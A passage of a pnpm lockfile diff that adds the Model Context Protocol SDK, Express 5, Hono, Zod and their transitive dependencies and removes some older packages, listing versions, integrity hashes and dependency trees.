sha512-5b6Y85tPxZZ7QytO+BQzysW31HJku27cRIlkbAXaNx+BdcVi+LlRFmVXzeF6a7JCwJpyw5c4b+YSVImQIrBpuQ==} - engines: {node: '>=10'} - outdent@0.5.0: resolution: {integrity: sha512-/jHxFIzoMXdqPzTaCpFzAAWhpkSjZPF4Vsn6jAfNpmbH/ymsmd7Qc6VE9BGn0L6YMj6uwpQLxCECpus4ukKS9Q==} @@ -2646,6 +2781,10 @@ packages: package-manager-detector@1.8.0: resolution: {integrity: sha512-yQA4H19AmPEoMUeavPMDIe1higySl/gH/yaQrkT/s07Qp+7pp2hYz30N3z2l5BkjVkF9Ow6o0wjJamm2y7Sn0A==} + parseurl@1.3.3: + resolution: {integrity: sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==} + engines: {node: '>= 0.8'} + path-exists@4.0.0: resolution: {integrity: sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==} engines: {node: '>=8'} @@ -2654,9 +2793,8 @@ packages: resolution: {integrity: sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==} engines: {node: '>=8'} - path-scurry@2.0.2: - resolution: {integrity: sha512-3O/iVVsJAPsOnpwWIeD+d6z/7PmqApyQePUtCndjatj/9I5LylHvt5qluFaBT3I5h3r1ejfR056c+FCv+NnNXg==} - engines: {node: 18 || 20 || >=22} + path-to-regexp@8.4.2: + resolution: {integrity: sha512-qRcuIdP69NPm4qbACK+aDogI5CBDMi1jKe0ry5rSQJz8JVLsC7jV8XpiJjGRLLol3N+R5ihGYcrPLTno6pAdBA==} path-type@4.0.0: resolution: {integrity: sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==} @@ -2683,6 +2821,10 @@ packages: resolution: {integrity: sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==} engines: {node: '>=6'} + pkce-challenge@5.0.1: + resolution: {integrity: sha512-wQ0b/W4Fr01qtpHlqSqspcj3EhBvimsdh0KlHhH8HRZnMsEa0ea2fTULOXOS9ccQr3om+GcGRk4e+isrZWV8qQ==} + engines: {node: '>=16.20.0'} + postcss@8.5.25: resolution: {integrity: sha512-DTPx3RWSSnWyzLxQnlH0rJP+EW5ekl16ZU4/psbIhA0e53kJfdgaN5vKM+xP7yJtXVu+nfdVFmlgFDEKAe4Pyw==} engines: {node: ^10 || ^12 || >=14} @@ -2707,6 +2849,10 @@ packages: property-information@7.2.0: resolution: {integrity: sha512-IAtzIB6sUiWaJYrX9smp3V46pBGbBeLFRGdh25kg1334VcBlD8HzhPeNIWQH9zhGmo2itIe25EHt9dQP7G5hmg==} + proxy-addr@2.0.7: + resolution: {integrity: sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==} + engines: {node: '>= 0.10'} + publint@0.3.23: resolution: {integrity: sha512-5MQipUPcB7MWw84zLUkHrg/H/UBtk3LL+A0GngTTBSsiNJLQurMUaSIRG3edlOrRz4UFe0AOKK9TZdIWviV+jQ==} engines: {node: '>=18'} @@ -2720,6 +2866,10 @@ packages: resolution: {integrity: sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==} engines: {node: '>=6'} + qs@6.15.3: + resolution: {integrity: sha512-O9gl3zCl5h5blw1KGUzQKhA5oUXSl8rwUIM5o0S3nCXMliSvy5Dzx7/DJcI+SwgICv+IneSZwhBh1oSyEHA71A==} + engines: {node: '>=0.6'} + quansync@0.2.11: resolution: {integrity: sha512-AifT7QEbW9Nri4tAwR5M/uzpBuqfZf+zwaEM/QkzEjj7NBuFD2rBuy0K3dE+8wltbezDV7JMA0WfnCPYRSYbXA==} @@ -2729,14 +2879,18 @@ packages: queue-microtask@1.2.3: resolution: {integrity: sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==} + range-parser@1.3.0: + resolution: {integrity: sha512-hek2mFQpPuI4E1BBKrSto+BU3e3x4xuarsbiwr3+lf7p44juvFMV0XFWQAP3xUyqXA4RrXLIoaSUGbSt056ZMw==} + engines: {node: '>= 0.6'} + + raw-body@3.0.2: + resolution: {integrity: sha512-K5zQjDllxWkf7Z5xJdV0/B0WTNqx6vxG70zJE4N0kBs4LovmEYWJzQGxC9bS9RAKu3bgM40lrd5zoLJ12MQ5BA==} + engines: {node: '>= 0.10'} + read-yaml-file@1.1.0: resolution: {integrity: sha512-VIMnQi/Z4HT2Fxuwg5KrY174U1VdUIASQVWXXyqtNRtxSr9IYkn1rsI6Tb6HsrHCmB7gVpNwX6JxPTHcH6IoTA==} engines: {node: '>=6'} - readable-stream@3.6.2: - resolution: {integrity: sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==} - engines: {node: '>= 6'} - readdirp@5.0.0: resolution: {integrity: sha512-9u/XQ1pvrQtYyMpZe7DXKv2p5CNvyVwzUB6uhLAnQwHMSgKMBR62lc7AHljaeteeHXn11XTAaLLUVZYVZyuRBQ==} engines: {node: '>= 20.19.0'} @@ -2750,6 +2904,10 @@ packages: regex@6.1.0: resolution: {integrity: sha512-6VwtthbV4o/7+OaAF9I5L5V3llLEsoPyq9P1JVXkedTP33c7MfCG0/5NOPcSJn0TzXcG9YUrR0gQSWioew3LDg==} + require-from-string@2.0.2: + resolution: {integrity: sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==} + engines: {node: '>=0.10.0'} + resolve-from@5.0.0: resolution: {integrity: sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==} engines: {node: '>=8'} @@ -2757,10 +2915,6 @@ packages: resolve-pkg-maps@1.0.0: resolution: {integrity: sha512-seS2Tj26TBVOC2NIc2rOe2y2ZO7efxITtLZcGSOnHHNOQ7CkiUBfw0Iw2ck6xkIhPwLhKNLS8BO+hEpngQlqzw==} - restore-cursor@3.1.0: - resolution: {integrity: sha512-l+sSefzHpj5qimhFSE5a8nufZYAM3sBSVMAPtYkmC+4EH2anSGaEMXSD0izRQbu9nfyQ9y5JrVmp7E8oZrUjvA==} - engines: {node: '>=8'} - reusify@1.1.0: resolution: {integrity: sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==} engines: {iojs: '>=1.0.0', node: '>=0.10.0'} @@ -2797,6 +2951,10 @@ packages: engines: {node: '>=18.0.0', npm: '>=8.0.0'} hasBin: true + router@2.2.0: + resolution: {integrity: sha512-nLTrUKm2UyiL7rlhapu/Zl45FwNgkZGaCpZbIHajDYgwlJCOzLSk+cIPAnsEqV955GjILJnKbdQC1nVPz+gAYQ==} + engines: {node: '>= 18'} + run-parallel@1.2.0: resolution: {integrity: sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==} @@ -2804,9 +2962,6 @@ packages: resolution: {integrity: sha512-xal3CZX1Xlo/k4ApwCFrHVACi9fBqJ7V+mwhBsuf/1IOKbBy098Fex+Wa/5QMubw09pSZ/u8EY8PWgevJsXp1A==} engines: {node: '>=6'} - safe-buffer@5.2.1: - resolution: {integrity: sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==} - safer-buffer@2.1.2: resolution: {integrity: sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==} @@ -2826,6 +2981,17 @@ packages: engines: {node: '>=10'} hasBin: true + send@1.2.1: + resolution: {integrity: sha512-1gnZf7DFcoIcajTjTwjwuDjzuz4PPcY2StKPlsGAQ1+YH20IRVrBaXSWmdjowTJ6u8Rc01PoYOGHXfP1mYcZNQ==} + engines: {node: '>= 18'} + + serve-static@2.2.1: + resolution: {integrity: sha512-xRXBn0pPqQTVQiC8wyQrKs2MOlX24zQ0POGaj0kultvoOCstBQM5yvOhAVSUwOMjQtTvsPWoNCHfPGwaaQJhTw==} + engines: {node: '>= 18'} + + setprototypeof@1.2.0: + resolution: {integrity: sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==} + shebang-command@2.0.0: resolution: {integrity: sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==} engines: {node: '>=8'} @@ -2837,12 +3003,25 @@ packages: shiki@2.5.0: resolution: {integrity: sha512-mI//trrsaiCIPsja5CNfsyNOqgAZUb6VpJA+340toL42UpzQlXpwRV9nch69X6gaUxrr9kaOOa6e3y3uAkGFxQ==} + side-channel-list@1.0.1: + resolution: {integrity: sha512-mjn/0bi/oUURjc5Xl7IaWi/OJJJumuoJFQJfDDyO46+hBWsfaVM65TBHq2eoZBhzl9EchxOijpkbRC8SVBQU0w==} + engines: {node: '>= 0.4'} + + side-channel-map@1.0.1: + resolution: {integrity: sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==} + engines: {node: '>= 0.4'} + + side-channel-weakmap@1.0.2: + resolution: {integrity: sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==} + engines: {node: '>= 0.4'} + + side-channel@1.1.1: + resolution: {integrity: sha512-6x6dK6zJdpTzF4sQeNYxwtvBzf6Eg4GtlesS94HOvTudUeyK2WXAaIfmDgsyslYrRBeFIlsi54AYsFGUuhmvrQ==} + engines: {node: '>= 0.4'} + siginfo@2.0.0: resolution: {integrity: sha512-ybx0WO1/8bSBLEWXZvEd7gMW3Sn3JFlW3TvX1nREbDLRNQNaeNN8WK0meBwPdAaOI7TtRRRJn/Es1zhrrCHu7g==} - signal-exit@3.0.7: - resolution: {integrity: sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==} - signal-exit@4.1.0: resolution: {integrity: sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==} engines: {node: '>=14'} @@ -2880,6 +3059,10 @@ packages: stackback@0.0.2: resolution: {integrity: sha512-1XMJE5fQo1jGH6Y/7ebnwPOBEkIEnT4QF32d5R1+VXdXveM0IBMJt8zfaxX1P3QhVwrYe+576+jkANtSS2mBbw==} + statuses@2.0.2: + resolution: {integrity: sha512-DvEy55V3DB7uknRo+4iOGT5fP1slR8wQohVdknigZPMpMstaKJQWhwiYBACJE3Ul2pTnATihhBYnRhZQHGBiRw==} + engines: {node: '>= 0.8'} + std-env@4.2.0: resolution: {integrity: sha512-oCUKSupKTHX53EyjDtuZQ64pjLJ6yYCtpmEw0goYxtjG9KpbRe8KAsl2tBUGU9DyMcJ0RwJ8GqJAFzMXcXW1Rw==} @@ -2887,9 +3070,6 @@ packages: resolution: {integrity: sha512-aqD2Q0144Z+/RqG52NeHEkZauTAUWJO8c6yTftGJKO3Tja5tUgIfmIl6kExvhtxSDP7fXB6DvzkfMpCd/F3G+Q==} engines: {node: '>=0.6.19'} - string_decoder@1.3.0: - resolution: {integrity: sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==} - stringify-entities@4.0.4: resolution: {integrity: sha512-IwfBptatlO+QCJUo19AqvrPNqlVMpW9YEL2LIVY+Rpv2qsjCGxaDLNRgeGsQWJhfItebuJhsGSLjaBbNSQ+ieg==} @@ -2909,10 +3089,6 @@ packages: resolution: {integrity: sha512-H+ue8Zo4vJmV2nRjpx86P35lzwDT3nItnIsocgumgr0hHMQ+ZGq5vrERg9kJBo5AWGmxZDhzDo+WVIJqkB0cGA==} engines: {node: '>=16'} - supports-color@7.2.0: - resolution: {integrity: sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==} - engines: {node: '>=8'} - tabbable@6.5.0: resolution: {integrity: sha512-wieBHXygIm7OyQOu5hQlkk62/WyCFYGlWg7L6/ZCUZwx0o398Zkn4pVmMyfYhfMG8kGrj/Krt8eIk6UKC6VzwA==} @@ -2939,6 +3115,10 @@ packages: resolution: {integrity: sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==} engines: {node: '>=8.0'} + toidentifier@1.0.1: + resolution: {integrity: sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==} + engines: {node: '>=0.6'} + tree-kill@1.2.2: resolution: {integrity: sha512-L0Orpi8qGpRG//Nd+H90vFB+3iHnue1zSSGmNOOCh1GLJ7rUKVwV2HvijphGQS2UmhUZewS9VgvxYIdgr+fG1A==} hasBin: true @@ -2990,6 +3170,10 @@ packages: resolution: {integrity: sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==} engines: {node: '>= 0.8.0'} + type-is@2.1.0: + resolution: {integrity: sha512-faYHw0anBbc/kWF3zFTEnxSFOAGUX9GFbOBthvDdLsIlEoWOFOtS0zgCiQYwIskL9iGXZL3kAXD8OoZ4GmMATA==} + engines: {node: '>= 18'} + typedoc-plugin-markdown@4.12.0: resolution: {integrity: sha512-eJDEMAfxCmede22c/Jw7d0FA13ggAQv+KkwQYKYCdqI02cin6Rc9QRwbG/7XvvHWinuFejySnZVUWDtvGk3Vbg==} engines: {node: '>= 18'} @@ -3058,16 +3242,21 @@ packages: resolution: {integrity: sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==} engines: {node: '>= 4.0.0'} + unpipe@1.0.0: + resolution: {integrity: sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==} + engines: {node: '>= 0.8'} + uri-js@4.4.1: resolution: {integrity: sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==} - util-deprecate@1.0.2: - resolution: {integrity: sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==} - validate-npm-package-name@5.0.1: resolution: {integrity: sha512-OljLrQ9SQdOUqTaQxqL5dEfZWrXExyyWsozYlAWFawPVNuD83igl7uJD2RTkNMbniIYgt8l81eCJGIdQF7avLQ==} engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} + vary@1.1.2: + resolution: {integrity: sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==} + engines: {node: '>= 0.8'} + verkit@0.3.2: resolution: {integrity: sha512-zj/ob3UsvJGN0whEAKFp53REA5X66hvffVqoCtVQAakJKnKlH+/PcOfMoFwIG/o4rElqLv/ycAFlx8ZlXUorCg==} engines: {node: '>=18.12.0'} @@ -3210,9 +3399,6 @@ packages: typescript: optional: true - wcwidth@1.0.1: - resolution: {integrity: sha512-XHPEwS0q6TaxcvG85+8EYkbiCux2XtWG2mkc47Ng2A77BQu9+DqIOJldST4HgPkuea7dvKSj5VgX3P1d4rW8Tg==} - which@2.0.2: resolution: {integrity: sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==} engines: {node: '>= 8'} @@ -3227,6 +3413,9 @@ packages: resolution: {integrity: sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==} engines: {node: '>=0.10.0'} + wrappy@1.0.2: + resolution: {integrity: sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==} + xmlchars@2.2.0: resolution: {integrity: sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw==} @@ -3248,6 +3437,14 @@ packages: yuku-parser@0.8.3: resolution: {integrity: sha512-KPQcpF9aj77ywlJBIkQWCQ9DObdxnCA8AJdUOmA5CZZx042Xt4+dvbQmPJfWxF3E+KG5dVAZ2fBKuDJ8VsKWgA==} + zod-to-json-schema@3.25.2: + resolution: {integrity: sha512-O/PgfnpT1xKSDeQYSCfRI5Gy3hPf91mKVDuYLUHZJMiDFptvP41MSnWofm8dnCm0256ZNfZIM7DSzuSMAFnjHA==} + peerDependencies: + zod: ^3.25.28 || ^4 + + zod@4.4.3: + resolution: {integrity: sha512-ytENFjIJFl2UwYglde2jchW2Hwm4GJFLDiSXWdTrJQBIN9Fcyp7n4DhxJEiWNAJMV1/BqWfW/kkg71UDcHJyTQ==} + zwitch@2.0.4: resolution: {integrity: sha512-bXE4cR/kVZhKZX/RjPEflHaKVhUVl85noU3v6b8apfQEc1x4A+zBxjZ4lN8LqGd6WZ3dl98pY4o717VFmoPp+A==} @@ -3752,6 +3949,10 @@ snapshots: '@shikijs/types': 3.23.0 '@shikijs/vscode-textmate': 10.0.2 + '@hono/node-server@2.1.1(hono@4.13.2)': + dependencies: + hono: 4.13.2 + '@humanfs/core@0.19.2': dependencies: '@humanfs/types': 0.15.0 @@ -3924,6 +4125,28 @@ snapshots: globby: 11.1.0 read-yaml-file: 1.1.0 + '@modelcontextprotocol/sdk@1.30.0(zod@4.4.3)': + dependencies: + '@hono/node-server': 2.1.1(hono@4.13.2) + ajv: 8.20.0 + ajv-formats: 3.0.1(ajv@8.20.0) + content-type: 1.0.5 + cors: 2.8.6 + cross-spawn: 7.0.6 + eventsource: 3.0.7 + eventsource-parser: 3.1.1 + express: 5.2.1 + express-rate-limit: 8.6.2(express@5.2.1) + hono: 4.13.2 + jose: 6.2.9 + json-schema-typed: 8.0.2 + pkce-challenge: 5.0.1 + raw-body: 3.0.2 + zod: 4.4.3 + zod-to-json-schema: 3.25.2(zod@4.4.3) + transitivePeerDependencies: + - supports-color + '@nodelib/fs.scandir@2.1.5': dependencies: '@nodelib/fs.stat': 2.0.5 @@ -4557,12 +4780,21 @@ snapshots: '@yuku-toolchain/types@0.8.3': {} + accepts@2.0.0: + dependencies: + mime-types: 3.0.2 + negotiator: 1.0.0 + acorn-jsx@5.3.2(acorn@8.18.0): dependencies: acorn: 8.18.0 acorn@8.18.0: {} + ajv-formats@3.0.1(ajv@8.20.0): + optionalDependencies: + ajv: 8.20.0 + ajv@6.15.0: dependencies: fast-deep-equal: 3.1.3 @@ -4570,6 +4802,13 @@ snapshots: json-schema-traverse: 0.4.1 uri-js: 4.4.1 + ajv@8.20.0: + dependencies: + fast-deep-equal: 3.1.3 + fast-uri: 3.1.5 + json-schema-traverse: 1.0.0 + require-from-string: 2.0.2 + algoliasearch@5.56.0: dependencies: '@algolia/abtesting': 1.22.0 @@ -4591,10 +4830,6 @@ snapshots: ansi-regex@5.0.1: {} - ansi-styles@4.3.0: - dependencies: - color-convert: 2.0.1 - ansis@4.3.1: {} argparse@1.0.10: @@ -4609,19 +4844,25 @@ snapshots: balanced-match@4.0.4: {} - base64-js@1.5.1: {} - better-path-resolve@1.0.0: dependencies: is-windows: 1.0.2 birpc@2.9.0: {} - bl@4.1.0: + body-parser@2.3.0: dependencies: - buffer: 5.7.1 - inherits: 2.0.4 - readable-stream: 3.6.2 + bytes: 3.1.2 + content-type: 2.1.0 + debug: 4.4.3 + http-errors: 2.0.1 + iconv-lite: 0.7.3 + on-finished: 2.4.1 + qs: 6.15.3 + raw-body: 3.0.2 + type-is: 2.1.0 + transitivePeerDependencies: + - supports-color brace-expansion@5.0.9: dependencies: @@ -4631,23 +4872,23 @@ snapshots: dependencies: fill-range: 7.1.1 - buffer@5.7.1: - dependencies: - base64-js: 1.5.1 - ieee754: 1.2.1 + bytes@3.1.2: {} cac@7.0.0: {} - ccount@2.0.1: {} - - chai@6.2.2: {} + call-bind-apply-helpers@1.0.2: + dependencies: + es-errors: 1.3.0 + function-bind: 1.1.2 - chalk@4.1.2: + call-bound@1.0.4: dependencies: - ansi-styles: 4.3.0 - supports-color: 7.2.0 + call-bind-apply-helpers: 1.0.2 + get-intrinsic: 1.3.0 + + ccount@2.0.1: {} - chalk@5.6.2: {} + chai@6.2.2: {} character-entities-html4@2.1.0: {} @@ -4661,32 +4902,33 @@ snapshots: cjs-module-lexer@1.4.3: {} - cli-cursor@3.1.0: - dependencies: - restore-cursor: 3.1.0 - - cli-spinners@2.9.2: {} - cli-width@4.1.0: {} - clone@1.0.4: {} + comma-separated-tokens@2.0.3: {} - color-convert@2.0.1: - dependencies: - color-name: 1.1.4 + commander@14.0.1: {} - color-name@1.1.4: {} + content-disposition@1.1.0: {} - comma-separated-tokens@2.0.3: {} + content-type@1.0.5: {} - commander@14.0.1: {} + content-type@2.1.0: {} convert-source-map@2.0.0: {} + cookie-signature@1.2.2: {} + + cookie@0.7.2: {} + copy-anything@4.0.5: dependencies: is-what: 5.5.0 + cors@2.8.6: + dependencies: + object-assign: 4.1.1 + vary: 1.1.2 + cross-spawn@7.0.6: dependencies: path-key: 3.1.1 @@ -4701,12 +4943,10 @@ snapshots: deep-is@0.1.4: {} - defaults@1.0.4: - dependencies: - clone: 1.0.4 - defu@6.1.7: {} + depd@2.0.0: {} + dequal@2.0.3: {} detect-indent@6.1.0: {} @@ -4721,10 +4961,20 @@ snapshots: dts-resolver@3.0.0: {} + dunder-proto@1.0.1: + dependencies: + call-bind-apply-helpers: 1.0.2 + es-errors: 1.3.0 + gopd: 1.2.0 + + ee-first@1.1.1: {} + emoji-regex-xs@1.0.0: {} empathic@2.0.1: {} + encodeurl@2.0.0: {} + enquirer@2.4.1: dependencies: ansi-colors: 4.1.3 @@ -4734,8 +4984,16 @@ snapshots: entities@7.0.1: {} + es-define-property@1.0.1: {} + + es-errors@1.3.0: {} + es-module-lexer@2.3.1: {} + es-object-atoms@1.1.2: + dependencies: + es-errors: 1.3.0 + esbuild@0.21.5: optionalDependencies: '@esbuild/aix-ppc64': 0.21.5 @@ -4791,6 +5049,8 @@ snapshots: '@esbuild/win32-ia32': 0.28.1 '@esbuild/win32-x64': 0.28.1 + escape-html@1.0.3: {} + escape-string-regexp@4.0.0: {} eslint-scope@9.1.2: @@ -4875,8 +5135,57 @@ snapshots: esutils@2.0.3: {} + etag@1.8.1: {} + + eventsource-parser@3.1.1: {} + + eventsource@3.0.7: + dependencies: + eventsource-parser: 3.1.1 + expect-type@1.4.0: {} + express-rate-limit@8.6.2(express@5.2.1): + dependencies: + debug: 4.4.3 + express: 5.2.1 + ip-address: 10.5.0 + transitivePeerDependencies: + - supports-color + + express@5.2.1: + dependencies: + accepts: 2.0.0 + body-parser: 2.3.0 + content-disposition: 1.1.0 + content-type: 1.0.5 + cookie: 0.7.2 + cookie-signature: 1.2.2 + debug: 4.4.3 + depd: 2.0.0 + encodeurl: 2.0.0 + escape-html: 1.0.3 + etag: 1.8.1 + finalhandler: 2.1.1 + fresh: 2.0.0 + http-errors: 2.0.1 + merge-descriptors: 2.0.0 + mime-types: 3.0.2 + on-finished: 2.4.1 + once: 1.4.0 + parseurl: 1.3.3 + proxy-addr: 2.0.7 + qs: 6.15.3 + range-parser: 1.3.0 + router: 2.2.0 + send: 1.2.1 + serve-static: 2.2.1 + statuses: 2.0.2 + type-is: 2.1.0 + vary: 1.1.2 + transitivePeerDependencies: + - supports-color + extend-shallow@2.0.1: dependencies: is-extendable: 0.1.1 @@ -4903,6 +5212,8 @@ snapshots: dependencies: fast-string-truncated-width: 3.0.3 + fast-uri@3.1.5: {} + fast-wrap-ansi@0.2.2: dependencies: fast-string-width: 3.0.2 @@ -4925,6 +5236,17 @@ snapshots: dependencies: to-regex-range: 5.0.1 + finalhandler@2.1.1: + dependencies: + debug: 4.4.3 + encodeurl: 2.0.0 + escape-html: 1.0.3 + on-finished: 2.4.1 + parseurl: 1.3.3 + statuses: 2.0.2 + transitivePeerDependencies: + - supports-color + find-up@4.1.0: dependencies: locate-path: 5.0.0 @@ -4946,6 +5268,10 @@ snapshots: dependencies: tabbable: 6.5.0 + forwarded@0.2.0: {} + + fresh@2.0.0: {} + fs-extra@7.0.1: dependencies: graceful-fs: 4.2.11 @@ -4961,6 +5287,26 @@ snapshots: fsevents@2.3.3: optional: true + function-bind@1.1.2: {} + + get-intrinsic@1.3.0: + dependencies: + call-bind-apply-helpers: 1.0.2 + es-define-property: 1.0.1 + es-errors: 1.3.0 + es-object-atoms: 1.1.2 + function-bind: 1.1.2 + get-proto: 1.0.1 + gopd: 1.2.0 + has-symbols: 1.1.0 + hasown: 2.0.4 + math-intrinsics: 1.1.0 + + get-proto@1.0.1: + dependencies: + dunder-proto: 1.0.1 + es-object-atoms: 1.1.2 + get-tsconfig@5.0.0-beta.5: dependencies: resolve-pkg-maps: 1.0.0 @@ -4973,12 +5319,6 @@ snapshots: dependencies: is-glob: 4.0.3 - glob@13.0.6: - dependencies: - minimatch: 10.2.6 - minipass: 7.1.3 - path-scurry: 2.0.2 - globby@11.1.0: dependencies: array-union: 2.1.0 @@ -4988,6 +5328,8 @@ snapshots: merge2: 1.4.1 slash: 3.0.0 + gopd@1.2.0: {} + graceful-fs@4.2.11: {} gray-matter@4.0.3: @@ -4997,7 +5339,11 @@ snapshots: section-matter: 1.0.0 strip-bom-string: 1.0.0 - has-flag@4.0.0: {} + has-symbols@1.1.0: {} + + hasown@2.0.4: + dependencies: + function-bind: 1.1.2 hast-util-to-html@9.0.5: dependencies: @@ -5017,12 +5363,22 @@ snapshots: dependencies: '@types/hast': 3.0.5 + hono@4.13.2: {} + hookable@5.5.3: {} hookable@6.1.1: {} html-void-elements@3.0.0: {} + http-errors@2.0.1: + dependencies: + depd: 2.0.0 + inherits: 2.0.4 + setprototypeof: 1.2.0 + statuses: 2.0.2 + toidentifier: 1.0.1 + human-id@4.2.0: {} husky@9.1.7: {} @@ -5031,8 +5387,6 @@ snapshots: dependencies: safer-buffer: 2.1.2 - ieee754@1.2.1: {} - ignore@5.3.2: {} ignore@7.0.6: {} @@ -5045,6 +5399,10 @@ snapshots: inherits@2.0.4: {} + ip-address@10.5.0: {} + + ipaddr.js@1.9.1: {} + is-extendable@0.1.1: {} is-extglob@2.1.1: {} @@ -5053,23 +5411,24 @@ snapshots: dependencies: is-extglob: 2.1.1 - is-interactive@1.0.0: {} - is-number@7.0.0: {} + is-promise@4.0.0: {} + is-subdir@1.2.0: dependencies: better-path-resolve: 1.0.0 - is-unicode-supported@0.1.0: {} - is-what@5.5.0: {} is-windows@1.0.2: {} isexe@2.0.0: {} - jiti@2.7.0: {} + jiti@2.7.0: + optional: true + + jose@6.2.9: {} js-yaml@3.15.0: dependencies: @@ -5084,6 +5443,10 @@ snapshots: json-schema-traverse@0.4.1: {} + json-schema-traverse@1.0.0: {} + + json-schema-typed@8.0.2: {} + json-stable-stringify-without-jsonify@1.0.1: {} jsonfile@4.0.0: @@ -5123,11 +5486,6 @@ snapshots: lodash.startcase@4.4.0: {} - log-symbols@4.1.0: - dependencies: - chalk: 4.1.2 - is-unicode-supported: 0.1.0 - lru-cache@11.5.2: {} lunr@2.3.9: {} @@ -5147,6 +5505,8 @@ snapshots: punycode.js: 2.3.1 uc.micro: 2.1.0 + math-intrinsics@1.1.0: {} + mdast-util-to-hast@13.2.1: dependencies: '@types/hast': 3.0.5 @@ -5161,6 +5521,10 @@ snapshots: mdurl@2.1.0: {} + 